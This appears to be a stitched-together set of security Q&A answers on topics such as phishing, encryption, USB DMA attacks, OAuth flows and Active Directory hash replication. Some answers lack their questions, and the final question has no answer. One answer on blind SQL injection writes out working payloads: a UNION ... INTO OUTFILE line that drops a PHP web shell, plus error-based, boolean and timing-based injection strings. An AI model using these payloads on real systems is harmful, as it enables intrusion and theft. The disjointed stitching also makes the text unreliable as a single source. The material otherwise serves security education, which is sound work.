No, they do not. Tunnel interfaces don't have media addresses assigned to them. In any case the address assigned to another interface, such as a virtual bridge for virtual machines, would different from your network card.


Is this email from OneDrive a phishing attack?

Yes it appears the email IS legit. On logging into the account through onedrive.live.com, there was a notice waiting for me letting me know that my account had been frozen and that it was due for deletion on the same date as the fishy email. Thanks a lot Microsoft.


Can a firewall recognize (and block) outbound traffic that consists of screen shots?

Deep packet analysis or similar would be able to detect the transfer of images in general if the attacker does it in a stupid way, i.e. just as a HTTP post or similar and without any attempt to hide it (even a simple XOR with a fixed value or swapping of bytes or similar would likely be enough to be hidden). But even then it would be hard to impossible to distinguish a screen shot send by malware from an image send by the user, especially since the user might post screen shots too. Apart from that consumer.grade devices usually don't do the necessary deeper payload analysis but look mainly at IP and port.

In other words: I doubt that any firewall does this and if it claims to do this an attacker could likely easily bypass this. It is probably more useful to look at other properties of the communication instead, like unusual user agents, unusual behavior (i.e. does not look like normal browsing), suspicious communication targets etc. None of this provides reliably detection without false positives but it can point some analyst to the suspicious things to take a closer look.


Can username/passwords be intercepted on an App using public wifi?

Depends on the app. Some perform certificate checks, ensuring that you're connecting to a specific server with a specific secure method using a verified certificate, in which case, you're probably safe. Others simply make a HTTP call or don't bother verifying that the https certificate is legit, in which case, you're worse off than a website using HTTPS.

No general case, I'm afraid.


Encryption offers no protection against malware or compromise.  Encryption is useful to ensure that if you lose your phone or it is stolen, the person now in possession of the phone will have a much harder time getting your personal data (contacts, emails, calendar, etc.) out of the phone.  Once the phone is booted, the data has been decrypted, and malware can then read the decrypted data.


Does having multiple nearly identical copies of an encrypted file make it easier to decrypt?

If you are using Keepass 2.x then your .kdbx file is encrypted using AES.
Every copy of your file will be different from your previous ones.

Without the knowledge of what was changed, I think it is not possible/easy/feasible to compare and run any sort of decryption against multiple files.


This CVE is not fixed in OpenJDK7. Both Debian and redhat report it as unfixed:

https://security-tracker.debian.org/tracker/CVE-2012-5373: unfixed
https://access.redhat.com/security/cve/cve-2012-5373: Will not fix


Is this a reasonable approach to "generating" passwords?

Forget password schemes like this. All it takes is one breach on one website you use and someone could figure out your scheme, then break into all/most of your accounts.

Use a password manager instead, and store the password vault on a cloud hosting service like dropbox - that way you only have to remember a few strong passwords (one for your OS, one for your password vault, one for your dropbox, and optionally one for your email in case you need to recover your dropbox account). This gives you the ability to have strong unique passwords for all accounts, and only have to remember a small number.

I recommend keepass, since it's cross-platform / cross-device and free, but there are many others out there.


Manually exploiting blind SQL injection in SELECT statement in X-Forwarded-For header

Non-working approaches (multi-query, insert/delete/update)

mysql_query doesn't support multi-query:

multiple queries are not supported

This means that appending another query via ; to delete, edit, or insert data will not work. You are stuck with the select query you have.

We can also see that the selected data is not displayed, so you indeed have a blind injection.

Unlikely approach: Write a Shell File

Theoretically, you could try to write data to a file, for example to get a PHP shell. It might look something like this:

' UNION SELECT '<?php passthru($_GET['x']);' INTO OUTFILE '/var/www/404.php' -- -

It is however unlikely that you have sufficient permissions for this. You would not only need an SQL user that has the permission to write to a file and a directory that the mysql user can actually write to, but the mysql server would also need to be running without the --secure-file-priv option, which isn't the case by default in modern systems.

Read Data Blind: Error Based

The above means that the only attack-vector is reading data from the database. If you are lucky, errors will be displayed to you.

If errors are displayed, you will simply need to create an error which contains the information you want to read. One way is to use extractvalue:

' or extractvalue(1,version()) -- -

Instead of simply asking for the version, you can select table- and column-names from the INFORMATION_SCHEMA. Once you find interesting tables, read the data.

Read Data Blind: Content Based

Maybe you were unlucky, and errors are not shown. You can still extract data by asking yes/no questions:

' AND substring(version(),1,1)='5

As you can see, the whole query including your injection will return true if the MySQL version is 5, and false otherwise. So depending on what happens - the script dies or it doesn't - you know what version MySQL is.

Instead of asking for the version, you can ask for other data, for example the first character of the password hash of the first user in the mysql users table.

You can optimize the approach by using ascii and asking if the value is larger or smaller than a certain number, and then narrow the window of possible character.

You will probably want to use a tool or custom script for actual exploitation though, as you will need a lot of requests.

Read Data Blind: Timing Based

Just for completeness sake: In case that you get no feedback at all (no banned message), you could still exploit injections into select based on the time it takes for a request to complete.

The idea is the same as content based exploitation, but instead of getting a different response, you will either perform a slow task or not:

' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23


Difference Between MD4 and MD5 encryption

MD4 and MD5 are not encryption algorithms. They are one-way hash function designed for cryptography. It is important you understand the difference.

MD5 is a slightly modified version of MD4 that improves its security somewhat.

Another thing that is important to understand is that neither of these function are considered safe for use in cryptography: MD4 has been considered very insecure since the beginning of the 90's and MD5 is known to be insecure since the beginning of the 2000's.

Unless you really have to use these function for compatibility reasons, do not use them in your code, especially MD4.

If you can, use one of the SHA-2 variants (the .NET Framework implements all of them) or, if you can't, at least use SHA-1 temporarily, which is theoretically vulnerable but for which there is no practical attack yet. However, you need to understand that support for SHA-1 is going away in many systems pretty soon as well.


Yes, they can see what you did. They will be able to see what sites you were hitting and that you were sending SQL injection code.

You have likely violated your Acceptable Use policies at a minimum, and possibly committed a crime (depending on your jurisdiction).

Be very open and honest and ask for help in trying to understand how you can stay in compliance in the future.


Attacks via physical access to USB (DMA...?)

Before we start, a quick word about how USB works. A USB device connects to a piece of hardware inside the computer called the USB host controller. This decodes the complex USB protocol, which, much like a network protocol like TCP, contains packets, checksums, the equivalents of SYNs, ACKs, etc. The USB host controller decodes each individual connected USB device and presents it to the operating system, where it can interpret it however it wants (e.g. as a block device, or a mouse, or even a dialup modem, you name it). The USB controller itself connects to the PCH (which is like a relay station) over PCI. It's not a bulky PCI slot, but it's PCI nevertheless. The USB controller is what you see when you look at the output of lspci on your system and see mentions of USB. You probably have a few USB controllers, each connected over PCI to the PCH. The PCH in turn connects to the CPU. See this great Stack Exchange post that has a very good graphical description of USB controller anatomy.
Now let's break the possible types of attacks into three parts.
Intentional behavior
Most Linux distros auto-mount USB devices with filesystems, and some even have the ability to autorun, though this is rarely enabled by default. This was more a problem in the olden days of Windows, and never was really an issue in Linux. However, USB 3.1 does support DMA, so you might want to avoid that. I do believe it is disabled by default though, so it's not a massive risk. Just be aware that the USB controller allows it.
Exploiting software
There have been multiple instances of vulnerabilities in the partition table parsing code, where simply plugging in a USB stick can exploit the system by way of a specially designed but corrupt partition table. Though that's pretty rare (I am only aware of two that allowed for arbitrary code execution), vulnerabilities for auto-mounting filesystems are much more common, considering how incredibly complex filesystems are. They parse a huge amount of structures, and they prioritize performance above almost all else, so sanity checks are often not done unless they are necessary. This gives way to an increased number of vulnerabilities. But even if you aren't affected by any of those, there are plenty of vulnerabilities for your favorite desktop environment and how it manages displaying folder contents, such as thumbnail generation... Just recently there was a vulnerability in ffmpeg that allowed it to phone home to arbitrary servers, and before that, a vulnerability in libpng that allowed arbitrary code execution.
Exploiting hardware
This is by far the scariest and hardest to mitigate. While (most) USB protocols do not allow for DMA, and none allow for it by default, the USB controller is connected to the PCH over PCI, which has DMA abilities. The USB controller promises never to do evil, of course, and promises it will tell any mean USB devices to fsck off if they refuse to follow the protocol, but it is certainly possible for the controller to be hijacked by a malicious USB device which presents it with corrupt packets. Once it gains control of the protocol, it has full DMA and can do anything it wants. The only way to protect from this is to use your IOMMU to isolate the PCI device. There are several ways to do this, such as using Qubes OS which, while it has its share of shortcomings, is specifically designed to protect against hardware attacks such as this one. Or you could be creative. I went and made my own small bootable Linux distro which I use in combination with QEMU/KVM, a technology called VFIO, a driver called usbip, and a few custom scripts and programs which mitigate the issue. But if you rely on your IOMMU to protect you, just make sure it supports interrupt remapping. Otherwise it can be bypassed fairly easily and provides little security benefit.
USB 3.0 can be especially problematic. I'm not talking about 3.1 allowing DMA when the host says OK, but running outside the kernel. USB 3.0 runs as a binary blob in the BIOS, much like the Intel Management Engine. See this and this. It has a very large attack surface, adding to the already large surface area of the USB host controller hardware. You can disable it in many BIOSes, usually under a name like "xHCI controller". Doing this will effectively turn all 3.0 ports into 2.0 ports which decreases their speed, but it improves security a good bit. In terms of paranoid security, 1.0 is not good, 2.0 is bad, and 3.0 is a nightmare.
There is a kernel patch called grsecurity which has a huge number of security features that vastly increases the security of the Linux kernel. One of the security features is "deny access to new USB devices", which does just as it sounds. Either after you toggle a one-way setting, or after boot, all new USB devices will no longer be allowed access. All the complex, potentially vulnerable kernel code which deals with USB devices is disabled. It will completely mitigate the first two issues, but unfortunately does nothing at all to mitigate the third. Even compiling a custom kernel and removing the USB drivers does not mitigate the third.


How do virtual trusted platform modules protect data?

That document appears to state that the data is sent through a virtual OS that acts as a virtual processor for the cryptographic data. There's a physical TPM installed on the device to which the OS acts as a front-end, using a virtual hardware driver for communication. The software acts as a middle-man for the communication, most likely for accessing the TPM more securely by bridging it and the host with the Mini-os using software encryption. The key difference (pun intended) between the vTPM and the physcial TPM is that the keys and NVRAM are stored in the presumably TPM encrypted disk image which is to be made by the user. It says any empty image will do, of around 2MB. It's a mirror of the hardware device that uses the main module for resources, and stores data in its own reservoir.

Cracking it may be difficult. If the key is stored in the hardware TPM, then you're not gonna have much luck getting at it. It's probably far from being brute-forced, so that's out. Some encryption methods have security issues, but most credible programs use AES. While the cryptographic data is in-use, it might be possible to get it from RAM (the problem with almost every software based method). However, if it's very well integrated, it may all be secured. There's not much data in that document save for installation instructions and the topography.


is there a two developer minimum for companies seeking PCI compliance?

As @schroeder points out, 3rd parties can perform secure code review.  And Production environment practices are better handled by operations staff, not developers - in fact, other regulations like SOX restrict developers from Production access.
So it is possible to be PCI compliant with one developer.  The overall requirements of PCI DSS will be difficult for a small (one- or several-person) shop.


Facebook oAuth2 for Javascript client application

Edit: I changed the workflow for the login. If a user would have multiple third party accounts, and each account uses a different email address, then the email address is not a valid identifier. Now I'm using local userId.

1) When the user wants to log in using a third party access such as Facebook or Google, then the client requests an access token with Javascript to the auth server of this party. When the resource owner (user) is authenticated, the userId (and other related data) is returned in the response, together with the access token.
This token is stored at the client in the form of a persistent time-limited cookie (eg 60 mins);

2) The client sends an Ajax request to the Zwoop server, sending the 3rd party (FB / Google), the 3rd party userId, and the access token with a POST request;

3) The Zwoop server receives the Ajax request, and sends a request (with PHP) to the 3rd party auth server (based on the the one defined in the ajax request) to get the 3rd party userId, based on the access token (that was received from the ajax request).
When the userId’s match is successful, the Zwoop server has verified that the client has sent the correct credentials.

This approach makes that the oauth2 access token functions like a password, and is verified in the back end against the third party's Auth server. No malicious user should be able to simulate the same combination of credentials and the communication happens over SSL (no eavesdropping);

4) After the userId - token match verification was done at the server, the local userId can be retrieved and returned to the client.
The local userId is the userId that Zwoop defines.
For all further requests for resources to the Zwoop back end, we use local userId rather than the third party userId, this is why we retrieve it in this step.

The token can now be saved in MySQL and the Zwoop userId + token can be cached in Redis / memcached.

5) The Zwoop local userId is resent to the client.
We use the local userId for further requests to the back end.
We only use the third party userId in case we need access to specific third party resources (eg. Facebook newsfeed, calendar, etc...).
If the authentication fails, then the userId will not be sent;

Further RESTful requests can now be made, whereas the oAuth access token (client) is matched against the cached token (server), to identify if the user has permission to access certain resources in our own application;
When the cookie or access token expired, the client will request a new one, and the same procedure repeats itself.


Security benefits of disconnecting from corporate VPN when not in use

I assume you mean cutting the VPN from the client side, i.e. logging out of your VPN session.

Your VPN tunnel gives you access to servers which you normally do not have. This could be the file share you mentioned, an internal mail server, and so on. But this access is not limited to you as a person, but to the system establishing the VPN connection. This means, that an attack or a malware taking over your system has the same access. Leaving the VPN connection open longer than necessary, exposes those internal systems to a potential attacker. Therefore, cutting the connection when not needed, reduces the attack surface.

This also works the other way round. If a VPN endpoint is only required temporarily (e.g. a service access point for a third party), you should disable VPN access on the server side, when no one needs to log in. Again, the principle of reducing the attack surface guides us here.


How to use ESSIV to avoid seeing repeated patterns?

Your approach is sound (even if we should always remember the first law of cryptography: "don't roll your own"). If I may suggest some slight twists:

Compute the SHA256 checksum of some fixed salt (better if depending on the file system, e.g. a random sequence stored therein) and the user password. This prevents an attacker from having a database of SHA256 checksums of common passwords. The salt will be generated at random when(ever) the file system is formatted, and stored in the file system structure (Password Salt). The attacker has then to regenerate its SHA256 database anew after getting access to the file system (which means he is bruteforcing with zero advantage).
Do not use the User Key for encrypting the disk. Better to use a random 32-byte key, and encrypt this key using the hashed password. Security is the same, but this way, should the user change his password, you don't need to decrypt and re-encrypt the whole file system, only decrypt and re-encrypt the key.
Instead of using what is effectively ECB mode for sector encoding, use the slower but more secure CTR, using yor sector key as IV:

SHA256( SectorNumber, DiskKey ) => IV for this sector

SHA256( IV, 0 ) => XOR key for bytes 0..31

SHA256( IV, 1 ) => XOR key for bytes 32..63

...

SHA256( IV, 15 ) => XOR key for bytes 480..511


Is personal email hosting really secure?

Nope it will be as secure as you can configure it and like you say the end point might not be secure. If you want to have security you should encrypt your emails with pgp/gpg.


According to the risk assessment theory, is this expenditure appropriate?

If "probability of a general failure" means that, on average, this server type fails every 10 years, then the expected cost of loss to the company is $200,000/10, or $20,000 per year.  Since the cost of the backup plan is $10,000 per year, then it seems to better than the expected cost of a loss.  Obviously, this is quite simplified and reality is far more complex.


Can the recipient of my emails know my IP address?

Send yourself an email (at a non-gmail email address) via gmail and read the "full header" or "message source", especially "X-Originating-IP".

Compare this with your own external IP address (google [my ip is]).

The header of an email which I sent from my own gmail address to my own gmail address ("Show Original") did not contain an originating IP address, or any IP address except a reserved address in the 10.x.x.x range (in other words no IP address that would be identifiable as mine).

Then, I sent an email from my gmail address to myself at another email provider. The header of this email had an X-Originating-IP address which resolves to Google, Inc. It contained several IP addresses, none of which were identifiable as mine.

In appropriate cases a subpoena, search warrant or other lawful process directed to Google, Inc. would, of course, unmask your IP address and reveal your general location (and more legal process would force your ISP to reveal the IP address subscriber's name and address).

Your IP address was recorded by Google when you sent the email, and by God knows what other spooks inhabit the interwebs between you and your ISP, and between your ISP and Google, but it was not sent to your mail recipient(s).


Dangers of a vulnerability in a local installer?

The only way I can state this with absolute clarity is the following:

A vulnerability is a vulnerability is a vulnerability.

Not patching the problem is an exercise in extreme irresponsibility.

Technical reasons:

Possible privilege escalation.
Crashes from corrupt input files, leading to bad UX and other nasties.
If a user sees an innocuous file (i.e. not an executable), they may assume that it is safe to use, then get pwned when it turns out to be full of shellcode.
You could be shipping the installer with security-sensitive software.

Business reasons:

Your customers pay you money. Do right by them, because they keep your company afloat.
If some blackhat exploits your flaw, it'll be a PR nightmare, and you'll have to fix the bug anyway. It makes financial sense to spend the developer time on this now, rather than later.
If the public find out that you knew about this and never fixed it... well, you get the picture.
You can and will be sued by companies that lose data due to vulnerabilities in your code, especially if they know you could've prevented it.

Finally, an ethical reason. If your installer is as prevalent as it sounds (e.g. the likes of InstallShield, Nullsoft, etc) you'll most likely have customers whose software is security-sensitive. This could be something as important as TrueCrypt or Tor, where people can literally get hurt or killed over security failures.

Do the right thing. Fix the bug. If he's resistant even after this, you might want to offer to do it on your own time, even if it sucks that you have to work unpaid.

On a slightly less serious note, if I find out I'm running your installer software, and I find out that you have to bitch at management to fix a security bug, I'm probably going to run away from your company like this:


P.S. ..GSM activity - by that I mean the usage of GSM networks by mobile phones, for example.

Depends. If you just want to see if there is any activity I suppose you could simply have a look at the frequency bands activity in e.g. gqrx. The frequency bands available are listed here.

It's possible to script gnuradio to watch multiple channels for activity so you might be actually able to watch the GSM band without really looking into decoding the actual GSM protocol on the fly. But that really depends on the capabilities of your SDR device.


How to respond to Indicators of Compromise?

Just a question on your statement

  "Should I block all given IOCs? If so, it is very time-consuming and not effective when it comes to security."

Wouldn't it be less time consuming to block all given IOCs?
I would consider the following steps:

Block all network IOCs (URLs/IP addresses)
Scan network logs for traffic going outbound to network IOCs
-If there is, proceed with IR
Evaluate each IOCs whether if it affects your organization (Some organizations do use public IP so there is a chance that the IP used internally may be a known IOC, but this can either be ignored or rectified)
Based on evaluation either unblock or continue blocking network IOCs

I see the step of first blocking the network IOCs before taking necessary steps would immediately cut off any further communication between a potential C2 Server and your network. But my solution did not cover files and it's hashes.

Do let me know what you think about this flow


No.  Sandboxes aren't overrated.  They've very useful.  They are not a silver bullet -- they don't solve every security problem -- but they do have substantial value.

Really, don't think this is especially new.  If you read the original paper describing the Chrome security architecture, it clearly explains why sandboxing is valuable while also elucidating its limitations.  For instance, the introduction says:

  Chromium's architecture is designed to mitigate the most severe vulnerabilities, namely those vulnerabilities that let an attacker execute
  arbitrary code. [...] We find that 38 of the 87 rendering engine vulnerabilities allowed an attacker to execute arbitrary code and would have
  been mitigated by Chromium's architecture. These account
  for 70.4% (38 of 54) of all disclosed vulnerabilities that allow
  arbitrary code execution.

So Chrome's architecture makes a huge contribution to mitigating the most severe vulnerabilities that one can have in a browser.

At the same time, the Chrome team never claimed that sandboxing is a silver bullet.  For instance, see "Out-of-Scope Goals" in that paper for a lucid description of some vulnerabilities that Chrome's sandboxing architecture does not attempt to mitigate.  Anyone who has been following this should already be aware of the fact that sandboxing does not claim to stop all security problems.

Read the paper here:

The Security Architecture of the Chromium Browser, Adam Barth, Collin Jackson, Charles Reis, and The Google Chrome Team.

Please remember, vulnerabilities that let an attacker run malicious code on your local system (also known as drive-by downloads) are the most severe kind of vulnerability.  An attacker who exploits such a vulnerability can also attack all of your data "in the cloud" or on servers.  The reverse is not true.  Consequently, drive-by downloads are the most severe kind of vulnerability to have in a web browser.

If you look a few years back, these "drive-by-download" vulnerabilities in browsers were very common.  Given their severity and prevalence, it is only natural that researchers and security professionals spent a lot of energy looking for ways to mitigate or eliminate those kinds of vulnerabilities.  The security community has found reasonable ways to significantly reduce the prevalence of such vulnerabilities.

So, sure, once you make good progress on eliminating the most common, most severe vulnerabilities, it is only natural to next start looking at how to address the next-most-serious problems.  But that doesn't mean sandboxing is "overrated".  And, it doesn't mean that the energy put into defeating drive-by downloads was wasted or misplaced.  It wasn't.  It was important, and remains important today.


What is the "validity scope" of a browser cookie?

... two separate browser tabs. They will have different CSRF tokens and as such different session cookies.

They don't.
The same cookie is used whenever you access the same site within the same browser, i.e. the scope of the cookie is not the current tab but the current browser.

That's why it is usually also impossible to login into the same site with the same browser at the same time. There are browser extensions to limit the scope of the cookie to the current tab in order to make multi-login possible but by default the scope is the current browser.

To be more precise: if you switch to a different browser you have a different context for cookies. If you switch to a different browser profile you get also a different context. Same when switching to private mode. But if you switch only to a different tab or window then you have the same context.

Note that a cookie might be additionally restricted by the path on the site using a path argument and might also include subdomains using the domain argument. See the section "Scope of cookies" at MDN:HTTP cookies for more details.


What is the preferred way of using AWS (specifically S3) from mobile apps?

Have you considered signed URLs? If your app has authentication you can get the user to authenticate and then have your app create a custom signed S3 URL for the user. This then gets sent back and can be used directly from the application.
For authentication you can use something like AWS cognito. From this they get an auth token that you validate on your server to make sure the user is authenticated before you serve the signed URL.
For more info on Signed URLS
For more info on Cognito


Know certificate signing algorithm of a remote site using OpenSSL

Pipe the output from openssl s_client (which includes the cert in PEM-format) into openssl x509 -noout -text and it gives a human-readable display of the cert fields, including the signing algo (in two places). You don't need the sed -n /BEGIN/,/END/p step; most OpenSSL operations on PEM-format data, including this one, ignore "extra" data outside the PEM block. (This is NOT true for many other programs though.) -showcerts is useless in this case, since only the first cert, which is the server cert, is displayed.

To be exact, this is the signing algo used on the server's cert by the CA who issued the cert. It isn't performed or even directly controlled by the server.

If you want to look at the whole chain not just the server cert, you do need -showcerts and you need to run openssl x509 ... separately on each cert; a simple but somewhat crude way is

echo | openssl s_client ... | \
awk 'BEGIN{p="openssl x509 -noout -text"} {print |p} /-----END/{close(p)}'


Extract Password Hashes from Active Directory LDAP

You do not need to process the DIT file to aquire hashes from AD or AD LDS, there is some protocol access as well.

Even though a regular LDAP-reads on "userpassword" Attribute (as you can do on other directory products) will always be blocked completely in AD,
there is another official way to read hashes from AD or AD LDS and its officially been there since at least Server 2003. You need to use a special AD access permission (DS-Replication-Get-Changes-All) and an officially documented Microsoft protocol (the AD replication protocol).
This is not a Microsoft internal secret, even 3rd party implementations exist, e.g.: https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/ (although this link overdoes it a bit, by claiming this to be a hack) - You are not hacking AD or LDAP protocol with this, you are manually granting an AD privilege beforehand that is not there by default.

A legitimate use of this DS-Replication-Get-Changes-All privilege is e.g. the Microsoft Asure AD password sync - it syncs your company AD passwords with Azure cloud passwords by transfering the hashes.
you need a special LDAP privilege assigned to an AD account for this, which called is "DS-Replication-Get-Changes-All" https://msdn.microsoft.com/en-us/library/windows/desktop/ms684355(v=vs.85).aspx

Differenciation: The DIRSYNC control can also be used with another slightly different privilege called "DS-Replication-Get-Changes" (whithout the "-All" at the end).  The privilege without "-All" at the end cannot extract sensitive password hash data (There are commercial directory data sync products, like Microsoft MIIS/ILM/FIM/MIM that rely on that privilege. Also domain controllers of type READONLY for DMZ usage use the privilege without the "-All")

Password filter DLLs or PCNS installations on domain controllers do not use these two privileges and also do not grant access to stored AD hashes. They just allow forward a password (at the moment when it's gets changed by the user) to some external processing target that will then set the same password on 3rd party systems within your company.

While a password filter DLL/PCNS will only be able to synchronize passwords that get changed by the user after the filter/PCNS solution has been deployed, the Relication together with the DS-Replication-Get-Changes-All can also synchronize AD password hashes that have been there before the sync solution was deployed.

Neither the two privileges are evil.
It could of course be highly problematic, if used carelessly. But the same goes for careless ACL changes in your AD, granting extensive remote access to your AD, permitting domain and schema admins to anyone and so on......
Its an open door, if you open it. It you don't need it, don't open that door. And if you do open that door, then harden it properly, such that only planned guest can enter that door to touch your precious parts.

So the regular business cases of this read-password-hashes-from-AD mechanism is to synchronize AD hashes to other legitimate authentication systems or to migrate existing company AD hashes to an other 3rd party authentication directory.
(In both cases the other system must be able to understand the hashes for authentication purposes though)


Keeping Whois domain registration details private

Similar to Ramhound, I also have two domains hosted through GoDaddy. I'm currently working to transfer them over to a better registrar, for privacy reasons. I use their private whois registration (Domains By Proxy). First and foremost, 'our' data is stored on their servers, so if their servers were compromised I suppose an attacker could extract private registrations.

More likely, if a registrar receives complaints or is contacted by authorities, you risk having your information handed over. For example, on DBP's website, at the bottom left-hand corner in the footer there is an area for authorities to request information about a domain and a 'file a claim' section for everyone else (copyright abuse, spam, defamation, etc.). A registrar would be legally obligated to comply with the police, granted they have a subpoena (welcome to America!). Though, there is a trend for companies to cooperate with the police without one, let alone evidence of wrong doing. I can only assume they would also work with attorneys, intellectual property owners, etc.

Although I wouldn't recommend it on a public forum (seeing as it's illegal), various users decide to provide false information during domain registration, that way the whois contains inaccurate information about the domain holder.

You may be interested in an article, "Private Domains Not So Private?" by CNET. TL;DR: DBP decided to drop a private registrar's account (without notice), therefore exposing his credentials simply to avoid the heat of hosting a controversial domain's registration.


Is data stored in Firebase really private?

General rule of thumb: if it's not running on your own stack, down to the hardware, someone else has access to it. (of course, it does not mean that if it's running on your own stack, nobody has access, it's just a required condition).

The typical way of handling such an issue is to encrypt all data you store on the leased part of the stack and make sure the decryption keys aren't located there as well.


Spam title includes unusual words from my recent emails

A possible explanation is that the sender's machine is infected with some malware. When you receive an email from Bob, by definition, Bob's computer saw the whole contents; and also your email address. It seems easy, for some malware residing on Bob's computer, to send some spam with the same word, on the basis that you may be interested in the subject.

It is one of the dark points of spam: you get spammed because the machines and address books of other people are plundered by malware.

Another possible explanation is coincidence. You received an email with "Raspberry" in the body. But think of the millions of people who may also have received spams with "raspberry" in them while that had not used that word previously; and of the other millions of people who did send emails with "raspberry" in it, and yet did not receive spam containing that word. None of them posted in security.SE. Technical term is the anthropic principle: if you bring your attention only to seemingly "extraordinary" situations then you will see at lot of them, but not because they happen more often than predicted, only because you choose (more or less consciously) to disregard more "normal" occurrences.

My server keeps a copy of the last two weeks of spams that I receive and that my antispam filter automatically recognizes. That's, right now, 1170 spams (a figure which is not very big; around 2008 I was receiving more than 400 spams per day). Among these 1170 spams, one of them happens to use the "raspberry" word (as part of an email address), and that's not for my own using that word.


Why is donaldtrump2020 considered a strong password on some online password checkers?

Often online password checkers aren't comparing the given password against popular terms or phrases. This is because this would require having a dictionary of all relevant permutations of said term/phrase and having a complete one isn't feasible in most situations. Often the only metric for the strength is the entropy of the password, and that has been well covered, so I won't add to it.


Which encryption method should I use when connecting multiple clients to a local server?

TLS is the right protocol for this purpose. There is no need to have an internet connection with TLS (i.e. your requirement to be offline) but you can use TLS either with self-signed certificates (simple but does not scale well) or have your own certificate authority (more complex but scales well).

  A simple C implementation would be helpful too.

Using plain OpenSSL for TLS in a proper way is usually not simple. There are many sample implementations on the web but they often suffer from insufficient certificate validation. If you implement it yourself you should make sure that

the trust path, expiration etc is checked properly. That's what most samples already do because it can be simple done with OpenSSL. See https://wiki.openssl.org/index.php/SSL/TLS_Client for an example client.
the subject of the certificate is checked against the expected one. That's what most examples don't do because it was too complex with older OpenSSL versions. But, not doing this makes you open to man in the middle attacks. See https://wiki.openssl.org/index.php/Hostname_validation for how this can be done.
in case of a PKI instead of self-signed certificates the revocation needs checked either against a CRL you need to download from somewhere or against OCSP. This is almost never done and too complex with OpenSSL. I don't know if any sample code for this.


Authenticating users on a second website with a one time querystring ID - is this secure?

It is not the best way.

If there are any third party resources or links on the target site, the query string in the URL could be revealed to them in the referer header.

Also, query string parameters are logged by default on the server, meaning an unscrupulous admin may be able to gain access to sessions. Same applies for any proxy servers en route that undertake application level inspections that have  a trusted SSL/TLS cert installed.

A more minor point is that it is visible on screen so a "shoulder surfer" or a camera could pick up the token.

In short, the POST method is much more secure because it does not have the above flaws.


Public key distribution through a file sharing service

Yes and No

You could print your public key on a billboard in the middle of New York and it would not cause you any problems, however, no one would be able to verify that the billboard in question was actually your doing. Further, if someone had write access to that billboard and changed the public key it would cause you headaches.

Something that you might consider is to stash the key in a Github repo owned by you ... this, while not 100% secure, would be far more reputable than a public dropbox link.


Why is the truncate function for HMAC one time passwords so complicated?

It is a bit of a fetish. As far as we currently know, there is no reason to believe that using the first four bytes of the HMAC output would not be equally secure.

However, lack of reason to believe does not imply that nobody believes. Some people "feel" that systematic truncation may help the attacker in some completely unspecified way. With a lot of handwaving, one might argue that the dynamic truncation will make the task a bit harder for an attacker who tries a brute force attack on the secret key, with the help of dedicated FPGA or ASIC:

Since all 20 output bytes may be needed, the attacker must compute a complete HMAC/SHA-1; if only the first four bytes were used, then a dedicated unrolled circuit might skip a few steps in the last SHA-1 rounds (we are talking about an optimization of, at best, 3% here).
The "dynamic truncation" implies some kind of data-dependent lookup, which can be expensive in hardware area (again, this is mostly negligible with regards to all the 32-bit adders in SHA-1).

But these are not, really, good reasons. So the main point of the "dynamic truncation" is to be some kind of crypto voodoo that may awe the neophyte, and thus possibly help in acceptance. Specifying a good algorithm is not enough; implementers must also be convinced to use it, and, for that, some magical-looking gestures can play wonders.


No

What you're doing, is asking the user to enter a 16-character string or, in other words, a password. It's true that 16 bytes can fit 128 bits, but that only holds for data where all possible byte values are (equally) possible. Text consisting of characters is all but that. First, because the set of printable of characters is much smaller than that of all bytes. (It's likely they won't even be able to enter all possible bytes if they tried.) Second, because user's aren't going to enter random bytes, but words. And words are even more predictable.

If you want the user to enter a password, don't limit the length (except maybe to set a minimum), and use something like PBKDF2 to stretch the key and slow down dictionary guesses against the password. (As @marstato commented).

On the other hand, if you want to generate a random key, pull bytes out a strong random bit generator, and save it in a file.


You cannot prevent the spoofing of a MAC. Your attempt will help restrict ordinary users, but will not prevent an attacker from accessing it.


How do people in China get past the Great Firewall in practice?

Domain fronting using the Tor Browser is the easiest and hardest for them to block. It's quite popular because of it's effectiveness and ease of setup. Basically, it uses a legit domain like Amazon's CloudFront or Microsoft's Azure as a proxy to Tor. It's like a proxy to a proxy. Because they can't block those legitimate domains, they cannot block this method. This also reduces the risk of detection because alternatives like VPNs can eventually be found and blocked, and the users persecuted.

https://trac.torproject.org/projects/tor/wiki/doc/meek


Can I decrypt my SD card with another phone?

To decrypt the SD card, you need the decryption key.

Since every Samsung device has an unique hardware key, you need to use the same device you've used for encryption.

I'm afraid that your only option is to ask your friend to use your previous phone to decrypt the SD card.

Be sure to follow the steps in the answer you linked to prevent an irreversible data loss.


Is it possible to protect my Windows XP users now that Microsoft is no longer releasing security updates?

Disconnect from the Internet, don't allow any external devices to be connected to your network and physically guard your computers to make sure that nobody violates the no external devices rule, and you'd be fine.

Otherwise the only option is to upgrade.  Since security updates are no longer provided, any newly discovered vulnerabilities would remain unpatched and an attacker (either external or internal) would have an easy time of using one of those unpatched vulnerabilities to access your systems if they can connect to them in any way.  Keep in mind that a large portion of attacks originate from disgruntled internal workers and unpatched vulnerabilities will mean that tools will become easily available to let even a relatively unskilled user make use of complex vulnerabilities.

There is no way to secure against this cost effectively other than to upgrade to an OS that still receives patch support to counter security flaws as they are discovered.  Honestly, if you are concerned about properly securing your business, it was past time to upgrade from XP even prior to the end of life.  There are numerous performance and security enhancements in Windows 7 that rendered XP obsolete from a security perspective years before end of life was reached.


RAM Scrapers are a type of Malware which work by searching through a device's RAM, looking for confidential data (such as credit card numbers).

The malware can infect POS card terminals as well as ATMs, Computers, Mobile Phones... The method of infection is usually the same as for most other types of malware, but most commonly through users infecting the host machine (Windows) with the infectious agent which then jumps to the terminal when it is initialized.

Detection is not easy, especially if the device is dumb (PoS terminal). For most at risk businesses, the most likely detection will be through antivirus programs running on the machine connected to PoS terminals, and by analyzing outgoing web traffic.

As a credit card user, there is little you can do except, perhaps, to limit the exposure by using pre-paid credit cards when making payments in a bricks and mortar store.

http://nakedsecurity.sophos.com/2013/07/16/a-look-at-point-of-sale-ram-scraper-malware-and-how-it-works/


Is there a way to disable JavaScript on Mozilla Firefox and still view the web pages correctly?

No. Because lots of web pages need JavaScript.

  If yes, will this setting be enough to hide the real IP in case the VPN drops when passively viewing a web page?

No. There are other techniques that could be used to leak your IP in this case - such as an iframe with <meta refresh>. Although, they're far less common.


How to find all the microphones in a room?

